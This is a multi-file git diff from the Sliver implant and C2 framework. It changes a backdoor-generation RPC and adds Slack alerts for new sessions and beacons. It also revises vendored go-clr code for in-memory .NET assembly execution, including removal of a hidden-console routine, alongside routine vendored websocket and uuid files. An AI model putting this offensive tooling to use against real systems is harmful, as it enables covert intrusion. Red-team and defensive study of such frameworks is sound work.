"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/generate"
@@ -78,13 +77,6 @@ func (rpc *Server) Backdoor(ctx context.Context, req *sliverpb.BackdoorReq) (*sl
return nil, fmt.Errorf("please select a profile targeting a shellcode format")
}
if p.Config.Name == "" {
p.Config.Name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
}
name, config := generate.ImplantConfigFromProtobuf(p.Config)
otpSecret, _ := cryptography.TOTPServerSecret()
err = generate.GenerateConfig(name, config, true)
+43
View File
@@ -0,0 +1,43 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
func (rpc *Server) Webhooks(ctx context.Context, _ *commonpb.Empty) (*clientpb.Webhooks, error) {
return &clientpb.Webhooks{}, nil
}
func (rpc *Server) StartSlackWebhook(ctx context.Context, req *clientpb.SlackWebhook) (*commonpb.Empty, error) {
//config := configs.SlackWebhookConfig{}
return &commonpb.Empty{}, nil
}
func (rpc *Server) StopSlackWebhook(ctx context.Context, req *commonpb.Empty) (*commonpb.Empty, error) {
return &commonpb.Empty{}, nil
}
+94
View File
@@ -0,0 +1,94 @@
package webhooks
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/log"
"github.com/slack-go/slack"
)
var (
slackLog = log.NamedLogger("webhooks", "slack")
)
// StartSlackWebhook - Start a slack webhook
func StartSlackWebhook(config *configs.SlackWebhookConfig) error {
StopSlackWebhook() // Stop any existing web hook
events := core.EventBroker.Subscribe()
client := slack.New(config.AuthToken)
if client == nil {
fmt.Printf("Invalid slack token")
return errors.New("slack authentication failure")
}
go func() {
// This goroutine will exit when events is closed
for event := range events {
switch event.EventType {
// Sessions
case consts.SessionOpenedEvent:
if config.Events.SessionOpened {
sendSlackMsg(client, config.Channels, "New session")
}
// Beacons
case consts.BeaconRegisteredEvent:
if config.Events.BeaconRegistered {
sendSlackMsg(client, config.Channels, "New beacon")
}
}
}
}()
webhooks.Store(Slack, events)
return nil
}
// StopSlackWebhook - Stop a slack webhook
func StopSlackWebhook() {
if events, ok := webhooks.LoadAndDelete(Slack); ok {
slackLog.Debugf("Stopping slack webhook %v", events)
close(events.(chan core.Event))
}
}
func sendSlackMsg(client *slack.Client, channels []string, msg string) {
attachment := slack.Attachment{
Pretext: "some pretext",
Text: msg,
}
for _, channelID := range channels {
_, _, err := client.PostMessage(
channelID,
slack.MsgOptionText("Some text", false),
slack.MsgOptionAttachments(attachment),
slack.MsgOptionAsUser(true),
)
if err != nil {
slackLog.Errorf("%s\n", err)
return
}
}
}
+41
View File
@@ -0,0 +1,41 @@
package webhooks
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"sync"
)
const (
Slack = "slack"
)
var (
webhooks = &sync.Map{}
)
// ListRunningWebhooks - List all running webhooks
func ListRunningWebhooks() []string {
hooks := []string{}
webhooks.Range(func(key, value interface{}) bool {
hooks = append(hooks, key.(string))
return true
})
return hooks
}
-38
View File
@@ -1,38 +0,0 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
## 1.0.3 2022-11-10
## Changed
- Merged [Pull 3](https://github.com/Ne0nd0g/go-clr/pull/3) from @mec07 to return errors instead of exiting the program
### Fixed
- [Issue 4](https://github.com/Ne0nd0g/go-clr/issues/4) - Application's Without A Console Will Not Return Output
## 1.0.2 2022-04-02
### Fixed
- Merged [Pull 2](https://github.com/Ne0nd0g/go-clr/pull/2) from @audibleblink that fixed an error when attempting to
load correctly targeted assemblies through
### Changed
- Upgraded supporting Go modules
## 1.0.1 2021-04-08
- Learned how to correctly use tags and updated import
## 1.0.0 2021-04-08
- Initial tagged version from forked
### Added
- Added buffer to collect redirected STDOUT/STDERR
+10 -21
View File
@@ -1,7 +1,6 @@
//go:build windows
// +build windows
// Package clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
// execute a managed DLL from disk or a managed EXE from memory
package clr
@@ -12,7 +11,7 @@ import (
"unsafe"
)
// GetInstalledRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
var runtimes []string
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
@@ -90,26 +89,16 @@ func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument s
}
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
if err != nil {
return
}
must(err)
pTypeName, err := syscall.UTF16PtrFromString(typeName)
if err != nil {
return
}
must(err)
pMethodName, err := syscall.UTF16PtrFromString(methodName)
if err != nil {
return
}
must(err)
pArgument, err := syscall.UTF16PtrFromString(argument)
if err != nil {
return
}
must(err)
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
if err != nil {
return
}
must(err)
if *ret != 0 {
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
}
@@ -211,7 +200,7 @@ func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (r
// LoadCLR loads the target runtime into the current process and returns the runtimehost
// The intended purpose is for the runtimehost to be reused for subsequent operations
// throughout the duration of the program. Commonly used with C2 frameworks
// throught the duration of the program. Commonly used with C2 frameworks
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
if targetRuntime == "" {
targetRuntime = "v4"
@@ -311,7 +300,7 @@ func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
// once but executed many times throughout the duration of the program. Commonly used with C2 frameworks
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
@@ -330,7 +319,7 @@ func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *Me
}
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
// The intended purpose is for the assembly to be executed many times throughout the duration of the
// The intended purpose is for the assembly to be executed many times throught the duration of the
// program. Commonly used with C2 frameworks
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
var paramSafeArray *SafeArray
+2 -32
View File
@@ -1,4 +1,3 @@
//go:build windows
// +build windows
package clr
@@ -9,7 +8,6 @@ import (
"fmt"
"os"
"sync"
"syscall"
"time"
"golang.org/x/sys/windows"
@@ -60,41 +58,13 @@ func RedirectStdoutStderr() (err error) {
return
}
// Create a new reader and writer for STDERR
// Createa new reader and writer for STDERR
rSTDERR, wSTDERR, err = os.Pipe()
if err != nil {
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
return
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
// Ensure the process has a console because if it doesn't there will be no output to capture
hConsole, _, _ := getConsoleWindow.Call()
if hConsole == 0 {
// https://learn.microsoft.com/en-us/windows/console/allocconsole
allocConsole := kernel32.NewProc("AllocConsole")
// BOOL WINAPI AllocConsole(void);
ret, _, err := allocConsole.Call()
// A process can be associated with only one console, so the AllocConsole function fails if the calling process
// already has a console. So long as any console exists we are good to go and therefore don't care about errors
if ret == 0 {
return fmt.Errorf("there was an error calling kernel32!AllocConsole with return code %d: %s", ret, err)
}
// Get a handle to the newly created/allocated console
hConsole, _, _ = getConsoleWindow.Call()
user32 := windows.NewLazySystemDLL("user32.dll")
showWindow := user32.NewProc("ShowWindow")
// Hide the console window
ret, _, err = showWindow.Call(hConsole, windows.SW_HIDE)
if err != syscall.Errno(0) {
return fmt.Errorf("there was an error calling user32!ShowWindow with return %+v: %s", ret, err)
}
}
// Set STDOUT/STDERR to the new files from os.Pipe()
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
@@ -162,7 +132,7 @@ func ReadStdoutStderr() (stdout string, stderr string, err error) {
return
}
// CloseStdoutStderr closes the Reader/Writer for the previously redirected STDOUT/STDERR
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
// that was changed to an *os.File
func CloseStdoutStderr() (err error) {
err = rSTDOUT.Close()
+8
View File
@@ -5,6 +5,7 @@ package clr
import (
"bytes"
"fmt"
"log"
"strings"
"unicode/utf16"
"unsafe"
@@ -24,6 +25,13 @@ func checkOK(hr uintptr, caller string) error {
}
}
// must forces the program to exit if there is an error using the log.Fatal command
func must(err error) {
if err != nil {
log.Fatal(err)
}
}
func utf16Le(s string) []byte {
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
var buf bytes.Buffer
+1 -1
View File
@@ -285,7 +285,7 @@ func (g *Gen) NewV7() (UUID, error) {
}
tn := g.epochFunc()
ms := uint64(tn.Unix())*1e3 + uint64(tn.Nanosecond())/1e6
ms := uint64(tn.UnixMilli())
u[0] = byte(ms >> 40)
u[1] = byte(ms >> 32)
u[2] = byte(ms >> 24)
+25
View File
@@ -0,0 +1,25 @@
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
.idea/
*.iml
+9
View File
@@ -0,0 +1,9 @@
# This is the official list of Gorilla WebSocket authors for copyright
# purposes.
#
# Please keep the list sorted.
Gary Burd <[email protected]>
Google LLC (https://opensource.google.com/)
Joachim Bauch <[email protected]>
+22
View File
@@ -0,0 +1,22 @@
Copyright (c) 2013 The Gorilla WebSocket Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+64
View File
@@ -0,0 +1,64 @@
# Gorilla WebSocket
[![GoDoc](https://godoc.org/github.com/gorilla/websocket?status.svg)](https://godoc.org/github.com/gorilla/websocket)
[![CircleCI](https://circleci.com/gh/gorilla/websocket.svg?style=svg)](https://circleci.com/gh/gorilla/websocket)
Gorilla WebSocket is a [Go](http://golang.org/) implementation of the
[WebSocket](http://www.rfc-editor.org/rfc/rfc6455.txt) protocol.
### Documentation
* [API Reference](https://pkg.go.dev/github.com/gorilla/websocket?tab=doc)
* [Chat example](https://github.com/gorilla/websocket/tree/master/examples/chat)
* [Command example](https://github.com/gorilla/websocket/tree/master/examples/command)
* [Client and server example](https://github.com/gorilla/websocket/tree/master/examples/echo)
* [File watch example](https://github.com/gorilla/websocket/tree/master/examples/filewatch)
### Status
The Gorilla WebSocket package provides a complete and tested implementation of
the [WebSocket](http://www.rfc-editor.org/rfc/rfc6455.txt) protocol. The
package API is stable.
### Installation
go get github.com/gorilla/websocket
### Protocol Compliance
The Gorilla WebSocket package passes the server tests in the [Autobahn Test
Suite](https://github.com/crossbario/autobahn-testsuite) using the application in the [examples/autobahn
subdirectory](https://github.com/gorilla/websocket/tree/master/examples/autobahn).
### Gorilla WebSocket compared with other packages
<table>
<tr>
<th></th>
<th><a href="http://godoc.org/github.com/gorilla/websocket">github.com/gorilla</a></th>
<th><a href="http://godoc.org/golang.org/x/net/websocket">golang.org/x/net</a></th>
</tr>
<tr>
<tr><td colspan="3"><a href="http://tools.ietf.org/html/rfc6455">RFC 6455</a> Features</td></tr>
<tr><td>Passes <a href="https://github.com/crossbario/autobahn-testsuite">Autobahn Test Suite</a></td><td><a href="https://github.com/gorilla/websocket/tree/master/examples/autobahn">Yes</a></td><td>No</td></tr>
<tr><td>Receive <a href="https://tools.ietf.org/html/rfc6455#section-5.4">fragmented</a> message<td>Yes</td><td><a href="https://code.google.com/p/go/issues/detail?id=7632">No</a>, see note 1</td></tr>
<tr><td>Send <a href="https://tools.ietf.org/html/rfc6455#section-5.5.1">close</a> message</td><td><a href="http://godoc.org/github.com/gorilla/websocket#hdr-Control_Messages">Yes</a></td><td><a href="https://code.google.com/p/go/issues/detail?id=4588">No</a></td></tr>
<tr><td>Send <a href="https://tools.ietf.org/html/rfc6455#section-5.5.2">pings</a> and receive <a href="https://tools.ietf.org/html/rfc6455#section-5.5.3">pongs</a></td><td><a href="http://godoc.org/github.com/gorilla/websocket#hdr-Control_Messages">Yes</a></td><td>No</td></tr>
<tr><td>Get the <a href="https://tools.ietf.org/html/rfc6455#section-5.6">type</a> of a received data message</td><td>Yes</td><td>Yes, see note 2</td></tr>
<tr><td colspan="3">Other Features</tr></td>
<tr><td><a href="https://tools.ietf.org/html/rfc7692">Compression Extensions</a></td><td>Experimental</td><td>No</td></tr>
<tr><td>Read message using io.Reader</td><td><a href="http://godoc.org/github.com/gorilla/websocket#Conn.NextReader">Yes</a></td><td>No, see note 3</td></tr>
<tr><td>Write message using io.WriteCloser</td><td><a href="http://godoc.org/github.com/gorilla/websocket#Conn.NextWriter">Yes</a></td><td>No, see note 3</td></tr>
</table>
Notes:
1. Large messages are fragmented in [Chrome's new WebSocket implementation](http://www.ietf.org/mail-archive/web/hybi/current/msg10503.html).
2. The application can get the type of a received data message by implementing
a [Codec marshal](http://godoc.org/golang.org/x/net/websocket#Codec.Marshal)
function.
3. The go.net io.Reader and io.Writer operate across WebSocket frame boundaries.
Read returns when the input buffer is full or a frame boundary is
encountered. Each call to Write sends a single frame message. The Gorilla
io.Reader and io.WriteCloser operate on a single WebSocket message.
+395
View File
@@ -0,0 +1,395 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"bytes"
"context"
"crypto/tls"
"errors"
"io"
"io/ioutil"
"net"
"net/http"
"net/http/httptrace"
"net/url"
"strings"
"time"
)
// ErrBadHandshake is returned when the server response to opening handshake is
// invalid.
var ErrBadHandshake = errors.New("websocket: bad handshake")
var errInvalidCompression = errors.New("websocket: invalid compression negotiation")
// NewClient creates a new client connection using the given net connection.
// The URL u specifies the host and request URI. Use requestHeader to specify
// the origin (Origin), subprotocols (Sec-WebSocket-Protocol) and cookies
// (Cookie). Use the response.Header to get the selected subprotocol
// (Sec-WebSocket-Protocol) and cookies (Set-Cookie).
//
// If the WebSocket handshake fails, ErrBadHandshake is returned along with a
// non-nil *http.Response so that callers can handle redirects, authentication,
// etc.
//
// Deprecated: Use Dialer instead.
func NewClient(netConn net.Conn, u *url.URL, requestHeader http.Header, readBufSize, writeBufSize int) (c *Conn, response *http.Response, err error) {
d := Dialer{
ReadBufferSize: readBufSize,
WriteBufferSize: writeBufSize,
NetDial: func(net, addr string) (net.Conn, error) {
return netConn, nil
},
}
return d.Dial(u.String(), requestHeader)
}
// A Dialer contains options for connecting to WebSocket server.
type Dialer struct {
// NetDial specifies the dial function for creating TCP connections. If
// NetDial is nil, net.Dial is used.
NetDial func(network, addr string) (net.Conn, error)
// NetDialContext specifies the dial function for creating TCP connections. If
// NetDialContext is nil, net.DialContext is used.
NetDialContext func(ctx context.Context, network, addr string) (net.Conn, error)
// Proxy specifies a function to return a proxy for a given
// Request. If the function returns a non-nil error, the
// request is aborted with the provided error.
// If Proxy is nil or returns a nil *URL, no proxy is used.
Proxy func(*http.Request) (*url.URL, error)
// TLSClientConfig specifies the TLS configuration to use with tls.Client.
// If nil, the default configuration is used.
TLSClientConfig *tls.Config
// HandshakeTimeout specifies the duration for the handshake to complete.
HandshakeTimeout time.Duration
// ReadBufferSize and WriteBufferSize specify I/O buffer sizes in bytes. If a buffer
// size is zero, then a useful default size is used. The I/O buffer sizes
// do not limit the size of the messages that can be sent or received.
ReadBufferSize, WriteBufferSize int
// WriteBufferPool is a pool of buffers for write operations. If the value
// is not set, then write buffers are allocated to the connection for the
// lifetime of the connection.
//
// A pool is most useful when the application has a modest volume of writes
// across a large number of connections.
//
// Applications should use a single pool for each unique value of
// WriteBufferSize.
WriteBufferPool BufferPool
// Subprotocols specifies the client's requested subprotocols.
Subprotocols []string
// EnableCompression specifies if the client should attempt to negotiate
// per message compression (RFC 7692). Setting this value to true does not
// guarantee that compression will be supported. Currently only "no context
// takeover" modes are supported.
EnableCompression bool
// Jar specifies the cookie jar.
// If Jar is nil, cookies are not sent in requests and ignored
// in responses.
Jar http.CookieJar
}
// Dial creates a new client connection by calling DialContext with a background context.
func (d *Dialer) Dial(urlStr string, requestHeader http.Header) (*Conn, *http.Response, error) {
return d.DialContext(context.Background(), urlStr, requestHeader)
}
var errMalformedURL = errors.New("malformed ws or wss URL")
func hostPortNoPort(u *url.URL) (hostPort, hostNoPort string) {
hostPort = u.Host
hostNoPort = u.Host
if i := strings.LastIndex(u.Host, ":"); i > strings.LastIndex(u.Host, "]") {
hostNoPort = hostNoPort[:i]
} else {
switch u.Scheme {
case "wss":
hostPort += ":443"
case "https":
hostPort += ":443"
default:
hostPort += ":80"
}
}
return hostPort, hostNoPort
}
// DefaultDialer is a dialer with all fields set to the default values.
var DefaultDialer = &Dialer{
Proxy: http.ProxyFromEnvironment,
HandshakeTimeout: 45 * time.Second,
}
// nilDialer is dialer to use when receiver is nil.
var nilDialer = *DefaultDialer
// DialContext creates a new client connection. Use requestHeader to specify the
// origin (Origin), subprotocols (Sec-WebSocket-Protocol) and cookies (Cookie).
// Use the response.Header to get the selected subprotocol
// (Sec-WebSocket-Protocol) and cookies (Set-Cookie).
//
// The context will be used in the request and in the Dialer.
//
// If the WebSocket handshake fails, ErrBadHandshake is returned along with a
// non-nil *http.Response so that callers can handle redirects, authentication,
// etcetera. The response body may not contain the entire response and does not
// need to be closed by the application.
func (d *Dialer) DialContext(ctx context.Context, urlStr string, requestHeader http.Header) (*Conn, *http.Response, error) {
if d == nil {
d = &nilDialer
}
challengeKey, err := generateChallengeKey()
if err != nil {
return nil, nil, err
}
u, err := url.Parse(urlStr)
if err != nil {
return nil, nil, err
}
switch u.Scheme {
case "ws":
u.Scheme = "http"
case "wss":
u.Scheme = "https"
default:
return nil, nil, errMalformedURL
}
if u.User != nil {
// User name and password are not allowed in websocket URIs.
return nil, nil, errMalformedURL
}
req := &http.Request{
Method: "GET",
URL: u,
Proto: "HTTP/1.1",
ProtoMajor: 1,
ProtoMinor: 1,
Header: make(http.Header),
Host: u.Host,
}
req = req.WithContext(ctx)
// Set the cookies present in the cookie jar of the dialer
if d.Jar != nil {
for _, cookie := range d.Jar.Cookies(u) {
req.AddCookie(cookie)
}
}
// Set the request headers using the capitalization for names and values in
// RFC examples. Although the capitalization shouldn't matter, there are
// servers that depend on it. The Header.Set method is not used because the
// method canonicalizes the header names.
req.Header["Upgrade"] = []string{"websocket"}
req.Header["Connection"] = []string{"Upgrade"}
req.Header["Sec-WebSocket-Key"] = []string{challengeKey}
req.Header["Sec-WebSocket-Version"] = []string{"13"}
if len(d.Subprotocols) > 0 {
req.Header["Sec-WebSocket-Protocol"] = []string{strings.Join(d.Subprotocols, ", ")}
}
for k, vs := range requestHeader {
switch {
case k == "Host":
if len(vs) > 0 {
req.Host = vs[0]
}
case k == "Upgrade" ||
k == "Connection" ||
k == "Sec-Websocket-Key" ||
k == "Sec-Websocket-Version" ||
k == "Sec-Websocket-Extensions" ||
(k == "Sec-Websocket-Protocol" && len(d.Subprotocols) > 0):
return nil, nil, errors.New("websocket: duplicate header not allowed: " + k)
case k == "Sec-Websocket-Protocol":
req.Header["Sec-WebSocket-Protocol"] = vs
default:
req.Header[k] = vs
}
}
if d.EnableCompression {
req.Header["Sec-WebSocket-Extensions"] = []string{"permessage-deflate; server_no_context_takeover; client_no_context_takeover"}
}
if d.HandshakeTimeout != 0 {
var cancel func()
ctx, cancel = context.WithTimeout(ctx, d.HandshakeTimeout)
defer cancel()
}
// Get network dial function.
var netDial func(network, add string) (net.Conn, error)
if d.NetDialContext != nil {
netDial = func(network, addr string) (net.Conn, error) {
return d.NetDialContext(ctx, network, addr)
}
} else if d.NetDial != nil {
netDial = d.NetDial
} else {
netDialer := &net.Dialer{}
netDial = func(network, addr string) (net.Conn, error) {
return netDialer.DialContext(ctx, network, addr)
}
}
// If needed, wrap the dial function to set the connection deadline.
if deadline, ok := ctx.Deadline(); ok {
forwardDial := netDial
netDial = func(network, addr string) (net.Conn, error) {
c, err := forwardDial(network, addr)
if err != nil {
return nil, err
}
err = c.SetDeadline(deadline)
if err != nil {
c.Close()
return nil, err
}
return c, nil
}
}
// If needed, wrap the dial function to connect through a proxy.
if d.Proxy != nil {
proxyURL, err := d.Proxy(req)
if err != nil {
return nil, nil, err
}
if proxyURL != nil {
dialer, err := proxy_FromURL(proxyURL, netDialerFunc(netDial))
if err != nil {
return nil, nil, err
}
netDial = dialer.Dial
}
}
hostPort, hostNoPort := hostPortNoPort(u)
trace := httptrace.ContextClientTrace(ctx)
if trace != nil && trace.GetConn != nil {
trace.GetConn(hostPort)
}
netConn, err := netDial("tcp", hostPort)
if trace != nil && trace.GotConn != nil {
trace.GotConn(httptrace.GotConnInfo{
Conn: netConn,
})
}
if err != nil {
return nil, nil, err
}
defer func() {
if netConn != nil {
netConn.Close()
}
}()
if u.Scheme == "https" {
cfg := cloneTLSConfig(d.TLSClientConfig)
if cfg.ServerName == "" {
cfg.ServerName = hostNoPort
}
tlsConn := tls.Client(netConn, cfg)
netConn = tlsConn
var err error
if trace != nil {
err = doHandshakeWithTrace(trace, tlsConn, cfg)
} else {
err = doHandshake(tlsConn, cfg)
}
if err != nil {
return nil, nil, err
}
}
conn := newConn(netConn, false, d.ReadBufferSize, d.WriteBufferSize, d.WriteBufferPool, nil, nil)
if err := req.Write(netConn); err != nil {
return nil, nil, err
}
if trace != nil && trace.GotFirstResponseByte != nil {
if peek, err := conn.br.Peek(1); err == nil && len(peek) == 1 {
trace.GotFirstResponseByte()
}
}
resp, err := http.ReadResponse(conn.br, req)
if err != nil {
return nil, nil, err
}
if d.Jar != nil {
if rc := resp.Cookies(); len(rc) > 0 {
d.Jar.SetCookies(u, rc)
}
}
if resp.StatusCode != 101 ||
!strings.EqualFold(resp.Header.Get("Upgrade"), "websocket") ||
!strings.EqualFold(resp.Header.Get("Connection"), "upgrade") ||
resp.Header.Get("Sec-Websocket-Accept") != computeAcceptKey(challengeKey) {
// Before closing the network connection on return from this
// function, slurp up some of the response to aid application
// debugging.
buf := make([]byte, 1024)
n, _ := io.ReadFull(resp.Body, buf)
resp.Body = ioutil.NopCloser(bytes.NewReader(buf[:n]))
return nil, resp, ErrBadHandshake
}
for _, ext := range parseExtensions(resp.Header) {
if ext[""] != "permessage-deflate" {
continue
}
_, snct := ext["server_no_context_takeover"]
_, cnct := ext["client_no_context_takeover"]
if !snct || !cnct {
return nil, resp, errInvalidCompression
}
conn.newCompressionWriter = compressNoContextTakeover
conn.newDecompressionReader = decompressNoContextTakeover
break
}
resp.Body = ioutil.NopCloser(bytes.NewReader([]byte{}))
conn.subprotocol = resp.Header.Get("Sec-Websocket-Protocol")
netConn.SetDeadline(time.Time{})
netConn = nil // to avoid close in defer.
return conn, resp, nil
}
func doHandshake(tlsConn *tls.Conn, cfg *tls.Config) error {
if err := tlsConn.Handshake(); err != nil {
return err
}
if !cfg.InsecureSkipVerify {
if err := tlsConn.VerifyHostname(cfg.ServerName); err != nil {
return err
}
}
return nil
}
+16
View File
@@ -0,0 +1,16 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build go1.8
package websocket
import "crypto/tls"
func cloneTLSConfig(cfg *tls.Config) *tls.Config {
if cfg == nil {
return &tls.Config{}
}
return cfg.Clone()
}
+38
View File
@@ -0,0 +1,38 @@
// Copyright 2013 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !go1.8
package websocket
import "crypto/tls"
// cloneTLSConfig clones all public fields except the fields
// SessionTicketsDisabled and SessionTicketKey. This avoids copying the
// sync.Mutex in the sync.Once and makes it safe to call cloneTLSConfig on a
// config in active use.
func cloneTLSConfig(cfg *tls.Config) *tls.Config {
if cfg == nil {
return &tls.Config{}
}
return &tls.Config{
Rand: cfg.Rand,
Time: cfg.Time,
Certificates: cfg.Certificates,
NameToCertificate: cfg.NameToCertificate,
GetCertificate: cfg.GetCertificate,
RootCAs: cfg.RootCAs,
NextProtos: cfg.NextProtos,
ServerName: cfg.ServerName,
ClientAuth: cfg.ClientAuth,
ClientCAs: cfg.ClientCAs,
InsecureSkipVerify: cfg.InsecureSkipVerify,
CipherSuites: cfg.CipherSuites,
PreferServerCipherSuites: cfg.PreferServerCipherSuites,
ClientSessionCache: cfg.ClientSessionCache,
MinVersion: cfg.MinVersion,
MaxVersion: cfg.MaxVersion,
CurvePreferences: cfg.CurvePreferences,
}
}
+148
View File
@@ -0,0 +1,148 @@
// Copyright 2017 The Gorilla WebSocket Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package websocket
import (
"compress/flate"
"errors"
"io"
"strings"
"sync"
)
const (
minCompressionLevel = -2 // flate.HuffmanOnly not defined in Go < 1.6
maxCompressionLevel = flate.BestCompression
defaultCompressionLevel = 1
)
var (
flateWriterPools [maxCompressionLevel - minCompressionLevel + 1]sync.Pool
flateReaderPool = sync.Pool{New: func() interface{} {
return flate.NewReader(nil)
}}
)
func decompressNoContextTakeover(r io.Reader) io.ReadCloser {
const tail =
// Add four bytes as specified in RFC
"\x00\x00\xff\xff" +
// Add final block to squelch unexpected EOF error from flate reader.
"\x01\x00\x00\xff\xff"
fr, _ := flateReaderPool.Get().(io.ReadCloser)
fr.(flate.Resetter).Reset(io.MultiReader(r, strings.NewReader(tail)), nil)
return &flateReadWrapper{fr}
}
func isValidCompressionLevel(level int) bool {
return minCompressionLevel <= level && level <= maxCompressionLevel
}
func compressNoContextTakeover(w io.WriteCloser, level int) io.WriteCloser {
p := &flateWriterPools[level-minCompressionLevel]
tw := &truncWriter{w: w}
fw, _ := p.Get().(*flate.Writer)
if fw == nil {
fw, _ = flate.NewWriter(tw, level)
} else {
fw.Reset(tw)
}
return &flateWriteWrapper{fw: fw, tw: tw, p: p}
}
// truncWriter is an io.Writer that writes all but the last four bytes of the
// stream to another io.Writer.
type truncWriter struct {
w io.WriteCloser
n int
p [4]byte
}
